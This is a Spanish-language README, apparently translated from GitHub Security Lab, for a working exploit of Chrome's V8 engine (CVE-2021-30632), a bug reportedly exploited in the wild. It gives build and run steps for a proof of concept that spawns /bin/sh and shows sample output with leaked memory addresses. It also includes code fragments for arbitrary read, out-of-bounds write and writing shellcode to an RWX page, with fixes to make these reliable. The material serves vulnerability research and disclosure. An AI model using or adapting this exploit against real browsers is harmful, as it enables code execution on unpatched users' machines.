CVE-2021-30632

From: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

El análisis de este error se puede encontrar aquí. Este es un error de Chrome reportado por un investigador anónimo y se cree que fue explotado en la naturaleza.

El exploit aquí presentado se probó en la versión 9.3.345.16 de v8 (commit 632e6e7), que es la versión incluida con Chrome 93.0.4577.63, la anterior a que se corrigiera el error, en Ubuntu 20.04. No lo he probado en Chrome en sí.

Para probarlo, descargue v8 en el commit 632e6e7 y compile con la configuración predeterminada usando tools/dev/gm.py x64.release. Luego abra el archivo poc.js con d8:

./d8 poc.js

En Ubuntu 20.04, debería llamar a execve("/bin/sh") para generar un nuevo proceso:

./d8 poc.js
instance: 81d42dd
elements: 804abd9
rwx page address: 22c70c88b000
intArray addr: 8105d79
intBackingStore: 56498ceb25e0
$

El código shell puede necesitar cambios en otras plataformas.

El exploit es muy fiable, sin embargo, al probarlo, noté que algunos offsets parecen ser sensibles a pequeños cambios en el archivo (incluso agregar comentarios puede causar problemas), lo que provocaría que el exploit fallara. Esto solo ocurre cuando el archivo se modifica y generalmente se manifiesta con algunos valores basura en las direcciones, por ejemplo:

instance: 81d42dd
elements: 800222d
rwx page address: 3ff199999999999a
intArray addr: 81067e1
intBackingStore: 3ff199999999999a

En lo anterior, la dirección de la página rwx y initBackingStore son claramente incorrectas. La causa raíz parece ser un valor incorrecto de almacenamiento de elements. (800222d no es un valor válido) Esto se puede solucionar generalmente cambiando las siguientes líneas con respecto a la dirección de elements:

function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);  //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));          //<---- change to   oobWrite(i32tof(addr1,addr));
  return writeArr[0];
}
...
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  console.log("intArray addr: " + intArrAddr.toString(16));
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

  [elements, addr1] = ftoi32(addrs[1]);              //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));        //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
  ...
}
...
var elementsAddr = ftoi32(addrs[1])[0];             //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

Esto, sin embargo, no afecta la fiabilidad del exploit ya que los offsets son estables mientras el archivo esté fijo, pero puede causar problemas si se modifica el poc. No sé qué causa esto, pero probablemente se pueda hacer el exploit más robusto contra esto mediante la coincidencia de patrones en la memoria en lugar de depender de offsets fijos.